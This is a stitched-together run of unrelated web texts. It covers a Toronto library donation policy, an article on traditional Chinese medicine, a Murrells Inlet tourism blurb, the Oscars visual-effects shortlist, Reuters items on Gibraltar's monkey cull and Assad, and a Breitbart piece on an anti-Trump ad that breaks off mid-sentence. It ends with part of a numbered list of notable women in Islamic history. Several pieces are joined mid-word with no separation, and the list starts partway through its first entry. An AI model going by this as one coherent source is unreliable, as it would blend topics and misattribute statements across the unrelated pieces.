Library donations can be dropped off at any library branch during branch hours. Branches only accept materials that can be resold and that meet the following criteria:
Materials must be in very good condition and less than five years old.
Only English and French books, CDs and DVDs will be accepted. For books, we prefer popular fiction and nonfiction in hardcover or paperback.
Any other material, including magazines, computer books, textbooks, encyclopedias and multilingual material will not be accepted.
Boxes of books? Please drop them off at Toronto Reference Library. (Sorry, we don’t have pick-up service).
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The Library is unable to accept materials that do not meet the above criteria. Please consider recycling them as another option. For more information, please visit Waste Wizard: www.toronto.ca/wastewizardIt's a long road to legitimacy. Traditional Chinese medicine, which has been tried and tested on its home turf over three millennia, is working hard to gain mainstream acceptance in the west, where there are stricter regulations and requirements for therapeutic trials.
Based on a range of remedies inherited from Taoist scholars, and also on acupuncture, traditional Chinese medicine is derived from Confucianism. But it would be a mistake to suppose that what is now officially known as TCM has traversed so many centuries unchanged.
"TCM is a political construct dating from the 1950s, following on from the 1949 revolution," says Professor Paul Unschuld of Berlin Medical University, who chairs the International Society for the History of East Asian Science, Technology and Medicine. "It includes selected aspects of historical Chinese medicine, but it is also influenced by the rationale and concepts of modern science."
Despite the slow acceptance, there have been advances. In Europe, where little was known about Chinese practices, TCM gained traction in the 1970s as part of the movement towards alternative therapies. A World Health Organisation congress emphasised the legacy of such medicine in a 2008 declaration, though stressed the need to hasten its modernisation and acceptance.
China, too, has realised the need to integrate and advance, and has been working since 2007 to abandon some outdated methods.
"Many Chinese medicinal herbs are used in south-east Asia, in Singapore and Indonesia, but also Russia and Australia," says Professor Guo De-an, chief scientist at the Shanghai Institute of Materia Medica and a member of the Chinese Academy of Sciences. "But Europe and the United States account for the major part of the global pharmaceutical market."
To gain a foothold in the market for prescription drugs in the US and Europe, manufacturers must comply with the standards set by the agencies tasked with regulating healthcare products. They must satisfy requirements for both pharmacological effectiveness and overall quality.
"There is still no appropriate methodology for assessing the effects of TCM," says Guo. "It is not sufficient to measure blood pressure … the question is how to carry out group studies of individualised treatment."
Robert Verpoorte, the head of the Natural Products laboratory at Leiden University in the Netherlands, advocates a new approach to studying traditional Chinese medicine. "We should base our approach on the effects produced by a medicinal plant on living organisms resulting from the activity of its many components," he says. "This approach is used in systems biology and metabolomics, which studies all the metabolites present in a cell or organism."
Guo sees two ways ahead for medicinal plants used in TCM: "Either they can be authorised, through a simplified procedure, as traditional plant-based treatments; or they may obtain the status of herbal medicinal products for human use as defined by the European Medicines Agency," he says.
The Chinese government has encouraged efforts to obtain US and EU authorisation of TCM-derived drugs for treating heart disease and menopause-related disorders.
"For the time being there is no alternative to western assessment criteria and we must work hard to provide the data required by the US and EU agencies," he says.
As these therapies seek to gain greater recognition, the question of side effects also looms. Chinese advocates have tended to assert that TCM remedies are safe.
But at a recent conference on such treatments in Bologna, one speaker diverged from this position. Defending an approach based on strict clinical trials, Bian Zhao-xiang, the head of the clinical division of the School of Chinese Medicine at Hong Kong Baptist University, said: "We must improve reporting of side effects."
Co-operation between China and the west is developing. "Several major western drug firms have invested in industrial co-operation projects," says Guo.
This article originally appeared in Le MondeWelcome to the historic fishing village of Murrells Inlet, South Carolina, a quaint, little town full of history, beauty & colorful characters. Tucked away just 10 miles south of the hustle and bustle of Myrtle Beach, Murrells Inlet is a nature lover’s paradise.
Here, you won’t find flashing neon signs or roller coasters. In Murrells Inlet, you enter the quaint feel of a true fishing village, unspoiled by concrete and high rises. It’s a place sought out by fisherman and naturalists, whispered about by antique collectors, and revered by art lovers and horticulturists. It’s the place where golfers come to relax, families come to dine and snowbirds come to retire.
Murrells Inlet 2020 was established to preserve and protect the beauty of the inlet. Read More About Our Organization…The Academy of Motion Picture Arts and Sciences today announced that 20 films are in the running in the Visual Effects category for the 89th Academy Awards.
The films are listed below in alphabetical order:
“Alice through the Looking Glass”
“Arrival”
“The BFG”
“Batman v Superman: Dawn of Justice”
“Captain America: Civil War”
“Deadpool”
“Deepwater Horizon”
“Doctor Strange”
“Fantastic Beasts and Where to Find Them”
“Independence Day: Resurgence”
“The Jungle Book”
“Kubo and the Two Strings”
“Miss Peregrine’s Home for Peculiar Children”
“Passengers”
“Rogue One: A Star Wars Story”
“Star Trek Beyond”
“Suicide Squad”
“Sully”
“Warcraft”
“X-Men: Apocalypse”
The Academy’s Visual Effects Branch Executive Committee determined the preliminary shortlist. Later this month, the committee will select the 10 films that will advance to nominations voting.
Nominations for the 89th Oscars will be announced on Tuesday, January 24, 2017.
Media Contact
publicity@oscars.orgGIBRALTAR (Reuters) - A pack of at least 25 of Gibraltar’s famous monkeys are being killed because they are threatening human health in one of The Rock’s popular tourism areas, a government minister said on Tuesday.
A Gibraltar monkey sits on a cannon on the top of the Rock of Gibraltar overlooking the colony in this February 7, 2002 file picture. A pack of a t least 25 of Gibraltar's famous monkeys are being killed because they are threatening human health in one of The Rock's popular tourism areas, a government minister said on Tuesday. REUTERS/Anton Meres/Files
Two of the monkeys — a national symbol for the British colony at the foot of Spain — have already been given a lethal injection, said Gibraltar’s Tourist Minister Ernest Britto who issued the license for their culling.
“The decision was not taken lightly,” he said. “It is a last resort.”
Gibraltar’s residents have long lived alongside the monkeys or macaques, but Britto said the behavior of one pack had got out-of-hand in Catalan Bay and Sandy Bay, two popular tourist areas on The Rock.
“Children are frightened, people cannot leave their windows open for fear of the monkeys stealing, apes can bite and contact with them runs the risk of salmonella or hepatitis,” said Britto.
Last month, Britto told Gibraltar’s parliament that once the cull of 25 macaques is completed the overall monkey population would be set at around 200.
The cull will take time since the monkeys must be lured into cages and then sedated before killing, he said.
Gibraltar has been running a birth control problem to control the monkey population for about six years but the programme is taking time to work.
Franco Ostuni, general manager of the Caleta Hotel, said guests rooms have been vandalized by monkeys scrounging for extra food.
“What has to stop is the damage that apes are doing to Gibraltar, private properties and individuals without anyone taking responsibility for it,” he said.
However, the International Primate Protection League said it was considering calling on tourists to boycott Gibraltar if the local government did not stop the cull.
“It is clear that the Government of Gibraltar is still not managing their population of macaques in a responsible manner, despite the fact that they undoubtedly boost the nation’s economy as arguably their most popular tourist attraction,” said Helen Thirlway, head of IPPL in the UK.Syria's president Bashar al-Assad gestures while parliament members clap in Damascus, Syria in this handout picture provided by SANA on June 7, 2016. SANA/Handout
AMMAN (Reuters) - Syrian President Bashar al Assad said in an interview to be broadcast on Friday that Western countries had sent security officials to help his government covertly in fighting Islamist militants involved in Syria’s war.
Assad, in remarks to Australia’s SBS News channel that were carried by Syrian state media, said Western states - who are strongly opposed to his rule but also face the threat of Islamist attacks at home - were secretly cooperating with his government in counter-terrorism operations.
“They attack us politically and then they send officials to deal with us under the table, especially the security, including your [the Australian] government,” Assad was quoted as saying.
“They don’t want to upset the United States. Actually most of the Western officials, they only repeat what the United States want them to say. This is the reality,” he said.
There was no immediate comment from Western governments.
Western powers have supported rebels fighting to overthrow Assad in a civil war now in its sixth year, and have called for him to step down to ease a future democratic transition. He has refused, vowing to fight on until Damascus regains control of all of Syria. His main allies have been Russia and Iran.
Among Assad’s foes in the conflict are Islamist militant groups with which radicalised European Muslims have trained and taken part in fighting before, in some cases, returning to Europe to carry out attacks.A new ad from the Anti-Trump Political Action Committee “Make America Awesome” warns voters that Donald Trump is a bad choice – citing his past political positions.
The web-only ad, provided exclusively to Breitbart News, features a woman shopping at a store trying to pick a presidential candidate before eventually choosing the “Donald Trump” cereal box.
After returning home, she finds that when she opens the box and pours the content into her bowl it includes all of Trump’s past political support for liberal issues.
The “Make America Awesome” political action committee was founded by Republican political operatives Liz Mair–who left the Scott Walker campaign after blasting Iowa voters–and Rick Wilson to “dump Trump” by exposing his lack of conservative credentials and support of big government ideas.
“As voters finish their ‘shopping’ for a candidate, we’re highlighting that if you ‘buy’ Trump, you’ll get a lot of crap you never wanted,” Mair said in a statement to Breitbart News.
The low visual quality of the ad, Mair explained, was intentional in order to emphasize their message.
“The ad deliberately avoids the glitz and slick editing that many political ads utilize, to emphasize the stark message: Buyer beware; the Trump ‘package’ contains a lot of stuff you didn’t bank on, and you really don’t want,” she said.
Mair and Wilson are among the few Republican operatives that are publicly working against Trump – though their political action committee and on television appearances.
Mair debated conservative commentator Ann Coulter on MSNBC and Wilson recently described Trump supporters as “mostly childless single men who masturbate to anime.”
Mair and Wilson described their frustration with Republicans for not doing more to stop Trump, in a recent Buzzfeed article.
“The Republican Party’s strategy with regard to dealing with Trump is basically prayer — and that’s it,” said M |
is praised by all Muslims for her immense knowledge, piety, humility, generosity and courage. In addition to being a central figure in the household of the Prophet (the Ahl al-Bayt), she is revered as one of the five “People of the Cloak” (Ahl al-Kisā’), an eminent spiritual status linked by many Muslim theologians, exegetes and historians to the “purification verse” (Q. 33:33) in the Qur’an. Both Sunni and Shi’i historical sources indicate that, immediately following the death of the Prophet Muhammad, Fāṭimah played an important role as a leading figure of opposition to Abū Bakr (r. 11–13/632-634), contesting his claim to be the legitimate leader of the community. A skilled, powerful and confident orator, she also publicly defended her claim to the property of Fadak, which she considered to have been unlawfully confiscated by Abū Bakr. Muslims have debated for centuries about the extent of Fāṭimah’s opposition, its significance, its underlying causes and whether or not she was reconciled with Abū Bakr before her death. Despite some serious historical and theological differences of opinion surrounding Fāṭimah (especially regarding her role after the death of the Prophet), all Muslims have exalted her as a central figure in early Islamic history, whose spiritual status, knowledge, piety and struggle for justice render her worthy of emulation. For more on Fāṭimah, see:
Laura Veccia Vaglieri. “Fāṭima.” Encyclopaedia of Islam, Second Edition. Edited by: P. Bearman, Th. Bianquis, C.E. Bosworth, E. van Donzel, W.P. Heinrichs. Brill Online.
Verena Klemm. “Fāṭima bt. Muḥammad.” Encyclopaedia of Islam, THREE. Edited by: Kate Fleet, Gudrun Krämer, Denis Matringe, John Nawas, Everett Rowson. Brill Online
Martin Lings. Muhammad: His Life based on the Earliest Sources (1983).
(Marriage of ‘Alī and Fāṭima, from the 16th-c. Ottoman Siyer-i Nebi)
2) Asmā’ bt. Abī Bakr (d. 73/692). The daughter of Abū Bakr and the elder sister of ‘Ā’ishah (d. 58/678), Asmā’ was one of the earliest converts to the new faith of Islam in Mecca. She was married to another early convert, al-Zubayr b. al-‘Awwām (d. 36/656), with whom she had several children, all of whom would go on to become prominent political and intellectual figures during the first Islamic century. Asmā’ is considered to be among the most learned Companions of the Prophet and many early Muslim sources emphasize her integrity, fortitude, and bravery. As an early convert, she endured much of the persecution that the early Muslims experienced in Mecca and was forced to migrate to Medina in 622. When the Prophet Muhammad and Abū Bakr sought refuge in the cave outside Mecca, Muslim tradition emphasizes that it was Asmā’ that would secretly carry food and water to them. Like many other Muslim women, she participated in the Battle of Yarmouk (15/636) against the Byzantines. After the death of the Prophet, she was one of the leading authorities on Islamic teachings, transmitting a significant number of hadith (statements by or about the Prophet). One of her sons—‘Urwah b al-Zubayr (d. 94/713)—would go on to become one the most eminent scholars in early Islamic history, especially in the field of hadith.
Asmā’ was part of the anti-Alid faction during the First Civil War, supporting her sister ‘Ā’ishah, her husband al-Zubayr and her son ‘Abd Allāh b. al-Zubayr (d. 73/692) in their war against the caliph ‘Alī b. Abī Ṭālib which culminated in the Battle of the Camel (36/656). During the Second Civil War, she was a leading anti-Umayyad oppositional figure, rallying thousands of Muslims in the Hijaz to support the caliphal claims of her son ‘Abd Allāh b. al-Zubayr against the rule of Yazīd b. Mu‘āwiyah (r. 61–64/680–683), Marwān b. al-Ḥakam (r. 64–65/684–685) and ‘Abd al-Malik b. Marwān (r. 65–86/685–705). Following the violent conquest of Mecca by Umayyad forces in 73/692, she had to endure the sight of her son ‘Abd Allāh being killed and crucified in the sacred precincts of the Ka’ba by the Umayyad general al-Ḥajjāj b. Yūsuf (d. 95/714), whom she bravely confronted. She was among the longest-lived of the generation of the Prophet’s companions and passed away when she was over 100 years old. For more on Asmā’ and her context, see
Asma Afsaruddin, The First Muslims: History and Memory (2007)
Asma Afsaruddin, “Asmāʾ bt. Abī Bakr.” Encyclopaedia of Islam, THREE. Edited by: Kate Fleet, Gudrun Krämer, Denis Matringe, John Nawas, Everett Rowson. Brill Online
3) Ghazālah al-Shaybāniyyah (d. 77/696). Born into the Arab Banū Shaybān tribe that had migrated to Iraq during the Islamic conquests in the early seventh century, she rose to become a leading member of the infamous Ḥarūrī sect of early Kharijism, a group notorious for its puritanical interpretation of the Qur’an, rejection of non-Kharijite rule and use of violence against their opponents, combatants and non-combatants alike. Her husband was the renowned Ḥarūrī military commander Shabīb b. Yazīd al-Shaybānī (d. 77/696), elected the leader of the sect with the title Amīr al-Mu’minīn. The Ḥarūrīyyah, for all their violence, advocated a staunchly egalitarian worldview for the members of their sect—the only “true Muslims” as far as they were concerned—which enabled Ghazālah to rise as an important leader in her own right and command armies, a rare feat for an Arab woman in the 7th century. Unfortunately, there are no contemporary sources that mention Ghazālah so the bulk of information about her is drawn from sources written between the 9th and 15th centuries. These later chronicles, even when written by scholars staunchly opposed to the Kharijites, memorialize her as a an outstanding warrior, praising her bravery, military prowess and leadership abilities.
According to several narrations, Ghazālah once defeated an army commanded by the Umayyad general al-Ḥajjāj b. Yūsuf, compelling the latter to flee the battlefield. Following this victory, she composed a short poem taunting al-Ḥajjāj as “an ostrich posing as a lion.” Around 695 she and her warriors are said to have briefly occupied the town of Kufa, at which point Ghazālah ascended the pulpit in the Great Mosque of Kufa and delivered a rousing sermong to her troops before praying two rak‘as (units of prayer), allegedly reciting Surah al-Baqarah (Chapter 2) of the Qur’an during the first rak‘a and Surah Al-‘Imran (Chapter 3) of the Qur’an in the second, both chapters being the longest in the Qur’an. Ghazālah was responsible for defeating several Umayyad armies sent against her, but eventually died in battle against an Umayyad force outside Kufa around 696. The Kharijite insurrection waged by Shabīb and Ghazālah against the Umayyads and its suppression was among the most violent affairs of 7th-century Iraq, a fact which prompted the Umayyads (and al-Ḥajjāj in particular) to eliminate the most violent Kharijite sects (such as the Harūrīyyah and the Azāriqah), while negotiating with more quietist ones such as the Ibādiyyah. For more on the representation of female warriors in the Islamic tradition, see Remke Kruk, The Warrior Women of Islam: Female Empowerment in Arabic Popular Literature (2013)
(Kharijite coin from the Umayyad era. From http://www.the-saleroom.com/en-gb/auction-catalogues/baldwins/catalogue-id-srbal10018/lot-812346bd-46f5-44c8-ad7f-a447004f97f2)
4) Umm al-Dardā’ Hujayma bt. Ḥuyayy al-Sughra (d. after 81/700). One of the leading Muslim scholars of the second generation after the Prophet (known as the tābi‘īn), Umm al-Dardā’ was an important hadith transmitter, teacher and jurist. An expert on the Qur’an (which she memorized at a young age), she met and transmitted hadith from ‘Ā’ishah b. Abī Bakr, Salmān al-Farisī, Abū Hurayra and other companions of the Prophet. After living much of her life in Medina, she moved to Damascus where she taught hundreds of students (both male and female) in the Great Mosque, many of whom would go on to become respected scholars in their own right (and one, ‘Abd al-Malik b. Marwān, who would eventually become caliph). For more on Umm al-Dardā’ and other women scholars in the medieval Islamic world, see
Asma Sayeed’s Women and the Transmission of Religious Knowledge in Islam (2013)
Mohammed Akram Nadwi, al-Muhaddithat: The Women Scholars in Islam (2007): https://ia802705.us.archive.org/23/items/AlMuhaddithat/al%20-%20Muhaddithat.pdf
5) Sayyida Nafīsah al-Ṭāhirah (d. 209/824). A direct descendant of the Prophet Muhammad through the line of al-Ḥasan b. ‘Alī b. Abī Ṭālib, she was one of the most important figures in the early Islamic history of Egypt. Having memorized the Qur’an while still a child, she also become an expert in jurisprudence,and hadith by the time she was an adult. She married Isḥāq b. Ja’far b. Muḥammad, also a prominent scholar and a son of Ja’far al-Ṣādiq (d. 148/765), and moved to Egypt (after having lived in Medina for most of her life). She is remembered in Muslim tradition for her immense piety as well as her knowledge. One of her most famous students was none other than Muḥammad b. Idrīs al-Shafi‘ī (d. 204/820). According to various narrations, following the latter’s death, Sayyida Nafīsah ordered his body to be brought to her house so that she could recite the funeral prayer over him. In the Sufi and mystical traditions of Islam, there are numerous miracles ascribed to her. As an Alid, a learned woman, and an individual of renowned piety, Sayyida Nafīsah is remembered in Egypt as one of the most important saints of Fustat (Old Cairo), where her mausoleum and mosque—constructed, expanded and renovated by the Fatimid, Ayyubid, Mamluk, and Ottoman dynasties—is still visited by thousands. For more on Sayyida Nafīsah, see R. Strothmann, “Nafīsa,” Encyclopaedia of Islam, Second Edition. Edited by: P. Bearman, Th. Bianquis, C.E. Bosworth, E. van Donzel, W.P. Heinrichs. Brill Online
(Sayyida Nafīsah Mosque, Cairo, Egypt)
6) Kanzah bt. Isḥāq b. Muḥammad al-Awrabiyya (d. ca. 215/830). The daughter of the chieftain of the Awraba Berber tribe in North Africa, she became the wife of Idrīs I b. ‘Abd Allāh (d. 177/791), himself a descendant of al-Ḥasan b. ‘Alī b. Abī Ṭālib and founder of the Idrissid Kingdom in Morocco. She bore Idrīs his only son and heir: Idrīs II (r. 177–213/791–828). Most historians are often silent after this point, assuming that she played no further role in Idrissid history. However, since the child was born shortly after the death of his father, he was raised by his mother, her family and his two official regents (first his father’s freedman Rashīd then by Abū Khālid Yazīd b. Ilyās) in the environs of Walīlī (Volubilis). Kanzah directly participated in the founding of the city of Fez and its early development as a site of Islamic culture and civilization in northern Morocco; indeed, it was in this same town of Fez that in 859, a generation after Kanzah’s death, that another Muslim woman—Fāṭimah bt. Muḥammad al-Fihriyyah (d. 265/878)—would establish the Qarawīyyin mosque. Kanzah was a pivotal figure in helping her husband ally with local Berber tribes in Morocco, and she played a central role in the establishment and expansion of the Idrissid Kingdom during the reign of her son, for whom she acted as co-regent for the first half of his rule. Following the death of Idrīs II and the contested accession of his son Muḥammad b. Idrīs (r. 213–221/828–836) to the throne, she prevented the outbreak of a civil war in the kingdom by encouraging him to partition the Idrissid polity between his brothers (the sons of Idrīs II). As the individual who oversaw the first three generations of the Idrissid kingdom and played a significant role in the direction of political developments, Kanzah deserves to be viewed as an important figure in the early Islamic history of Morocco. Although there has been nothing written in English about Kanzah, for more about her broader context see: http://www.qantara-med.org/qantara4/public/show_document.php?do_id=867&lang=en
7) ‘Arīb (d. 277/890). Arīb was the most famous female Muslim musician of the third/ninth century. She was part of the school of the famous Isḥāq al-Mawṣilī (d. 235/850). ʿArīb was renowned for her singing as well as for her skills in poetry, prose, calligraphy, and for her knowledge of music theory. She is also often noted for her beauty, grace, and wit. She is said to have composed at least one thousand songs. Although possibly of noble birth (some have suggested her father was Jaʿfar b. Yaḥyā al-Barmakī [d. 187/803]), ʿArīb was sold into slavery at a young age and was owned by the Abbasid caliphs al-Amīn (r. 193–198/809–13) and al-Maʾmūn (r. 198–218/813–33). She was eventually freed by the caliph al-Muʿtaṣim (r. 218–27/833–42) and enjoyed a particularly close relationship with the Abbasid caliph al-Mu’tazz (r. 252–255/866–869). She continued to perform at the court for several other caliphs. The Kitāb al-Aghānī by Abū al-Faraj al-Isfahānī (d. 356/967) states that none of her contemporaries approached her level of achievement, making her one of the most notable performers and musicians in the Abbasid court.
For more on ‘Arīb and her context, see
Matthew Caswell, The Slave Girls of Baghdad: The Qiyān in the Early Abbasid Era (2011)
George D. Sawa, Music performance practice in the early ʿAbbāsid era. 132–320 AH / 750–932 AD, (1989)
Kristina Richardson, “Singing Slave Girls (Qiyan) of the Abbasid Court in the Ninth and Tenth Centuries,” in Children in Slavery Through the Ages (2009), pp. 105–118
Suzanne Meyers Sawa, “The Role of Women in Musical Life. The Medieval Arabo-Islamic Courts,” Canadian Women Studies 8/2 (1987), 93–95
Suzanne M. Meyers Sawa. “ʿArīb.” Encyclopaedia of Islam, THREE. Edited by: Kate Fleet, Gudrun Krämer, Denis Matringe, John Nawas, Everett Rowson. Brill Online
(Illustration from a 13th-century manuscript of Kitāb al-Aghānī. Taken from https://commons.wikimedia.org/wiki/File:Kitab_al-aghani.jpg)
8) ‘Ā’ishah b. Ahmad b. Muhammad b. Qādim (d. 400/1009). She was one of the most learned Andalusi women of the late 10th century. Most information about her life is derived from the various biographical dictionaries composed by Andalusi scholars between the 12th and 14th century, which testifies to the fact that long after her death she was still remembered as an important figure. The following is an overview of her life according to Ibn Bashkuwāl (d. 578/1183): “She was from Cordoba. The famous historian Ibn Hayyān (d. 469/1076) made mention of her and said: There was none in the entire Iberian peninsula in her era that could be compared with her in terms of knowledge, excellence, literary skill, poetic ability, eloquence, virtue, purity, generosity, and wisdom. She would often write panegyrics in praise of the kings of her era and would give speeches in their court. She was a very skilled calligrapher and copied many manuscripts of the Qur’an and other books. She was an avid collector of books, of which she had a very large amount, and was very concerned with the pursuit of knowledge. She was also very wealthy and died chaste, without having ever married. She died in the year 400 A.H. [1009 A.D.].” [Ibn Bashkuwal, Kitab al-Sila (Cairo, 2008), Vol. 2: 324–325]
9) Sitt al-Mulk (d. 414/1023). The daughter of the fifth Fatimid caliph al-‘Azīz (r. 365–386/975–996) from a Christian concubine, and the elder sister of the sixth Fatimid caliph al-Ḥākim (r. 386–411/996–1021), Sitt al-Mulk was one of the most powerful women in Fatimid history. Following the disappearance of al-Ḥākim in 411/1021, she was the effective ruler of Egypt for two years, ruling as regent on behalf of her nephew al-Zāhir (r. 411–427/1021–1036). She reversed many of al-Ḥākim’s anti-Jewish and anti-Christian decrees, restoring many churches and synagogues which had been converted into mosques during the reign of al-Ḥākim and ordering that those who had been forced to profess Islam be allowed to return to their original faith. She also severely persecuted the Druze religion in Egypt and Syria, removed many of al-Ḥākim’s supporters from office and sought peaceful relations with the Byzantines. Despite all the challenges that she faced, Sitt al-Mulk was a capable ruler, renowned for her good leadership skills and effective administrative policies, and played an important political role during the reigns of three Fatimid caliphs. She was also a major patron of architecture and learning. For more on Sitt al-Mulk and Fatimid women, see
Delia Cortese and Simonetta Calderini, Women and the Fatimids in the World of Islam (2006)
Paul E. Walker, “The Fatimid Caliph al-Aziz and His Daughter Sitt al-Mulk: A Case of Delayed but Eventual Succession to Rule by a Woman,” Journal of Persianate Studies 4 (2011): 30–44
Lev, “The Fatimid Princess Sitt al-Mulk”, Journal of Semitic Studies 32 (1987): 319-28
(Fatimid gold coin from the reign of al-Zahir. From http://www.the-saleroom.com/en-gb/auction-catalogues/baldwins/catalogue-id-srbal10018/lot-2b89b3bb-703b-4188-9bd1-a4470050dc15)
10) Zaynab bt. Isḥāq al-Nafzāwiyyah (d. ca. 467/1075). Descended from the Nafzāwa Berber tribe, Zaynab directly participated in the establishment and expansion of the early Almoravid state in North Africa. She was among the wealthiest women of the 11th-century Maghrib, as a result of inheritance and her own successful business enterprises. In the late 1060s, she married the Almoravid ruler Abū Bakr b. ‘Umar al-Sanhājī (d. 480/1087) but they divorced several years later, at which point Zaynab married another Almoravid ruler, Yūsuf b. Tashufīn (r. 454–500/1061–1106). She served as her husband’s main political adviser, encouraging him to declare himself the sole ruler of the Almoravids in Morocco, which compelled Abū Bakr to cede his authority to Yūsuf while he (Abū Bakr) continued his missionary activity and military campaigns in West Africa. Her wealth, diplomatic skills, tribal ties and political acumen contributed greatly to the establishment and expansion of the Almoravid empire. Although initially based at Aghmat, Zaynab contributed to the transformation of the newly-constructed city of Marrakesh into the imperial capital of the Almoravid realm.
Many medieval chroniclers, notably Ibn al-Athīr (d. 630/1233), Ibn Abī Zar‘ (d. after 726/1326) and Ibn Khaldūn (d. 808/1406), praise Zaynab as one of the most intelligent, beautiful, pious and ambitious women of her era and emphasize that played an important public role in Almoravid politics, with Ibn Khaldūn noting that “she was one of those women renowned for both her beauty and her political leadership (riyāsah).” She was sometimes referred to by the nickname “The Enchantress” (al-sāḥira), invoked positively by her admirers to describe her unparalleled political, administrative and diplomatic skills and pejoratively by her opponents who felt that, as a woman, she had no place asserting herself in the realm of politics, ascribing her influence over Yūsuf b. Tashufīn to witchcraft. Zaynab died around 467/1075, by which point the Almoravids—due in no small part to her efforts—succeeded in establishing their authority over much of north-west Africa. Throughout Almoravid history, royal women (following in the tradition of Zaynab) would continue to play an important role in imperial and local politics. For more on Zaynab, see
H. T. Norris and Pedro Chalmeta, “al-Murābiṭūn.” Encyclopaedia of Islam, Second Edition. Edited by: P. Bearman, Th. Bianquis, C.E. Bosworth, E. van Donzel, W.P. Heinrichs. Brill Online
Michael Brett and Elizabeth Fentress, The Berbers (1996)
Ronald A. Messier, The Almoravids and the Meaning of Jihad (2010)
(Modern Moroccan depiction of Zaynab)
11) Fāṭimah bt. Muḥammad b. Aḥmad al-Samārqandī (d. 581/1185). The daughter of a Ḥanafī jurist (Abū Manṣūr Muḥammad b. Aḥmad al-Samarqandī [d. 575/1179], author of Tuḥfat al-Fuqahā’) from Central Asia, Fāṭimah was an expert in Qur’an, hadith, jurisprudence, theology and grammar by the time she reached adulthood. She was qualified to issue formal religious opinions (fatwas). Fāṭimah was recognized as one of most learned women of the 12th-century by her contemporaries and her legal opinion was valued by many political rulers and administrators, including the emir Nūr al-Dīn Zangī (r. 541–569/1146–1174). She married ‘Alā’ al-Dīn Abū Bakr b. Mas‘ūd al-Kāsānī (d. 587/1191), another eminent Ḥanafī jurist and author of the legal compendium entitled Badā‘i al-Ṣanā’i‘ fi Tartib al-Sharā’i‘. Shortly after their marriage, the couple traveled across the Islamic world until they settled in Aleppo, where they both established themselves as preeminent scholars.
Fāṭimah was viewed as one of the most knowledgeable jurists in Aleppo and would often be consulted on the specifics of the religious law by other scholars, including her husband. Most of her students, men as well as women, became renowned jurists in their own right. The Syrian historian Ibn al-‘Adīm (d. 660/1262) in his Bughyat al-ṭalab fī tārīkh Ḥalab praises Fāṭimah as among the most learned scholars in the history of Aleppo, underscoring her knowledge of he various schools of law and emphasizing that her grasp of the religious law at times even surpassed that of her more famous husband. In addition to her credentials as a religious authority, she was also known to be a great calligrapher. Several medieval biographers and chroniclers state that Fāṭimah authored several important legal treatises and works on hadith which were widely read by the intellectual elite in 12th- and 13th-century Syria. Unfortunately, none of them appear to have been preserved. She died in 581/1185 and is buried in Aleppo, Syria. For more on Fāṭimah and the broader social and intellectual context in which she lived, see
Asma Sayeed’s Women and the Transmission of Religious Knowledge in Islam (2013)
Mohammad Akram Nadwi’s Al-Muhaddithat: The Women Scholars of Islam (2007).
(A hadith transmission certificate–or sama’–from late medieval Syria naming another eminent female scholar, Zaynab bt. Makki, a testament to the importance of women in medieval Islamic scholarship. Taken from M.A. Nadwi, al-Muhaddithat, p. 181)
12) ʿĀʾisha al-Mannūbiyya (d. 665/1267). ʿĀʾishah al-Mannūbiyya, perhaps the most well-known female saint from late medieval North Africa, was born in 595/1199 in Almohad North Africa and lived for most of her life in the Hafsid territories (modern-day Tunisia and eastern Algeria). She was one of the few women in Islamic history about whom a hagiography was written. Originally from the village of al-Manūba (La Manouba), a short distance outside Tunis, she would travel to that city to study with the Sufi masters of the Shādhiliyya order. ʿĀʾishah studied the teachings of several of the most preeminent mystics in the Islamic world, especially those of Rābiʿa al-ʿAdawiyya al-Qaysiyya (95/714–185/801), Abū l-Ḥassan al-Shādhilī (593–656/1196–1258, ʿAbd al-Qādir al-Jīlānī (470–561/1077–1166) and al-Junayd (d. 297/910). Traditional hagiographical accounts also ascribe a large number of miracles (karamāt) to her and describe her as being among the righteous saints (awliyā’). ʿĀʾishah was renowned for associating with the impoverished inhabitants of Tunis and for her kindness, generosity and ability to inspire others through both her words and deeds. For centuries, she has been memorialized as the patron saint of Tunis and is certainly considered the most important female mystic in the history of the region. For more on ʿĀʾisha and her context, see
Abū ‘Abd al-Raḥmān al-Sulamī, Early Sufi Women: Dhikr an-Niswa al-Muta’abbidat as-Sufiyyat (1999), translated by Rkia Cornell
Katia Boissevain. “al-Mannūbiyya, Sayyida ʿĀʾisha.” Encyclopaedia of Islam, THREE. Edited by: Kate Fleet, Gudrun Krämer, Denis Matringe, John Nawas, Everett Rowson. Brill Online
Katia Boissevain, Sainte parmi les saints. Sayyida Mannūbiya ou les recompositions cultuelles dans la Tunisie contemporaine (2006)
Nelly Amri, La sainte de Tunis. Présentation et traduction de l’hagiographie de ʿĀisha al Mannūbiyya (2008)
13) Fāṭimah al-Ḥurrah (d. after 898/1493). One of the last reigning Muslim queens in al-Andalus, she was a member of the Nasrid royal family, the wife of Nasrid emir Abū al-Ḥasan ‘Alī (r. 868–887/1464–1482, 888–890/1483–1485) and mother of the last Nasrid emir Abū ‘Abd Allāh Muḥammad XII (r. 887–888/1482–1483, 891–897/1486–1492). A resourceful, powerful, and ambitious, she exercised a major influence on Nasrid politics during the last decade of that kingdom’s history. Following Abū al-Ḥasan ‘Alī’s marriage to a younger, Christian woman (Isabel de Solís) whose own ambition was to supplant Fāṭimah, the latter—seeking to secure her own position and that of her son—instigated a rebellion against her husband and succeeded in (temporarily) placing her own son on the throne. This led to a series of events that culminated in a Nasrid civil war, which greatly undermined the ability of the kingdom of Granada to resist the advancing armies of the newly-unified kingdoms of Castile-León and Aragón led by Ferdinand and Isabella. During the siege of Granada, Fāṭimah was one of the leading voices advocating resistance and was outraged upon discovering that her son—Muḥammad XII (Boabdil)—had surrendered the city. When Boabdil finally left Spain in 898/1493 and settled in Fez, Fāṭimah accompanied him into exile. Her residence, known as Dār al-Ḥurrah, has survived into the present and can be visited in Granada. Although many contemporary scholars have blamed Fāṭimah for the downfall of the Nasrid kingdom due to her taking measures that fundamentally weakened the political unity of Granada and increased its vulnerability (and many have, in turn, sought to defend her from such accusations), her actions and career demonstrate the power and influence of royal women in the politics of Nasrid Granada. For more on Fāṭimah and her broader context, see
Barbara Boloix Gallardo, Las Sultanas de la Alhambra: Las grandes desconocidas del reino nazarí de Granada (2013)
Leonard Patrick Harvey, Islamic Spain, 1250–1500 (1990)
(Depiction of Fāṭimah al-Ḥurrah in Manuel Gomez Moreno’s 1880 painting entitled “Salida de la Familia de Boabdil de la Alhambra,” preserved in the Museo de Bellas Artes in Granada)
(Remains of Fāṭimah’s residence, the Dar al-Hurra, in Granada)
